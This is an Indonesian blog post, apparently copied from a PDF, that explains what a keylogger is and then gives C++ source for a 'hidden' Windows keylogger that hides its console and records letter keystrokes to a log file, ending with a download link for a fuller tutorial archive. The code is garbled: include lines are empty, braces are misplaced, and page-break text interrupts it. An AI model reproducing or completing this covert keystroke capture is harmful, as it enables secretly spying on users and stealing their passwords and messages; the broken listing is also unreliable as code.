simple keyloger c++

Apa itu keyloger..???
Keylogger adalah program spy.. ia akan mencatat
segala aktivitas yang kita lakukan di suatu komputer
dan menyimpan semua informasi kedalam log file.
Bekerja dengan mendeteksi signal keyboard yang kita
tekan. Awal mulanya program ini ditujukan bagi orang
tua agar bisa mengontrol aktifitas anak2 mereka di
komputer. Namun, oleh sebagian orang yang tidak
bertanggung jawab, program ini digunakan untuk
memata2i dan mencuri informasi2 yang mungkin
penting untuk mereka. Cukup dengan pengantarnya…
dalam percobaan kecil ini saya akan menerapkan base
hidden keyloger dengan bahasa c++…

#include



#include
#include
#include
#include





int main()
{
string log;
FreeConsole();

while(true)
{
if(GetAsyncKeyState(0x41))
{
cout<<"a";
log+="a";
Sleep (200);
};

if(GetAsyncKeyState(0x42))
{
cout<<"b";
log+="b";
Sleep (200);
};

if(GetAsyncKeyState(0x43))
{
cout<<"c";
log+="c";
Sleep (200);
};

if(GetAsyncKeyState(0x44))
{



Page 5 of 16







cout<<"d";
log+="d";

};

Sleep (200);


if(GetAsyncKeyState(0x45))
{
cout<<"e";
log+="e";
Sleep (200);
};

if(GetAsyncKeyState(0x46))
{
cout<<"f";
log+="f";
Sleep (200);
};

if(GetAsyncKeyState(0x47))
{
cout<<"g";
log+="g";
Sleep (200);
};

if(GetAsyncKeyState(0x48))
{
cout<<"h";
log+="h";
Sleep (200);
};

if(GetAsyncKeyState(0x49))
{
cout<<"i";
log+="i";
Sleep (200);



Page 6 of 16







};






if(GetAsyncKeyState(0x4A))
{
cout<<"j";
log+="j";
Sleep (200);
};

if(GetAsyncKeyState(0x4B))
{
cout<<"k";
log+="k";
Sleep (200);
};

if(GetAsyncKeyState(0x4C))
{
cout<<"l";
log+="l";
Sleep (200);
};

if(GetAsyncKeyState(0x4D))
{
cout<<"m";
log+="m";
Sleep (200);
};

if(GetAsyncKeyState(0x4E))
{
cout<<"n";
log+="n";
Sleep (200);
};





Page 7 of 16





if(GetAsyncKeyState(0x4F))
{
cout<<"o";
log+="o";
Sleep (200);
};

if(GetAsyncKeyState(0x50))
{
cout<<"p";
log+="p";
Sleep (200);
};

if(GetAsyncKeyState(0x51))
{
cout<<"q";
log+="q";
Sleep (200);
};

if(GetAsyncKeyState(0x52))
{
cout<<"r";
log+="r";
Sleep (200);
};

if(GetAsyncKeyState(0x53))
{
cout<<"s";
log+="s";
Sleep (200);
};

if(GetAsyncKeyState(0x54))
{
cout<<"t";



Page 8 of 16






log+="t";



};

Sleep (200);


if(GetAsyncKeyState(0x55))
{
cout<<"u";
log+="u";
Sleep (200);
};

if(GetAsyncKeyState(0x56))
{
cout<<"v";
log+="v";
Sleep (200);
};

if(GetAsyncKeyState(0x57))
{
cout<<"w";
log+="w";
Sleep (200);
};

if(GetAsyncKeyState(0x58))
{
cout<<"x";
log+="x";
Sleep (200);
};

if(GetAsyncKeyState(0x59))
{
cout<<"y";
log+="y";
Sleep (200);
};



Page 9 of 16





























};
}






if(GetAsyncKeyState(0x5A))
{
cout<<"z";
log+="z";
Sleep (200);
};




ofstream myfile;
myfile.open ("log.txt");
myfile << log;
myfile.close();

tutorial lengkapnya udah saya upload di
http://rapidshare.com/files/164909968/keygencpp.rar


Related Articles






IP

Followers

 

Copyright © 2009 by ::EXPLORE::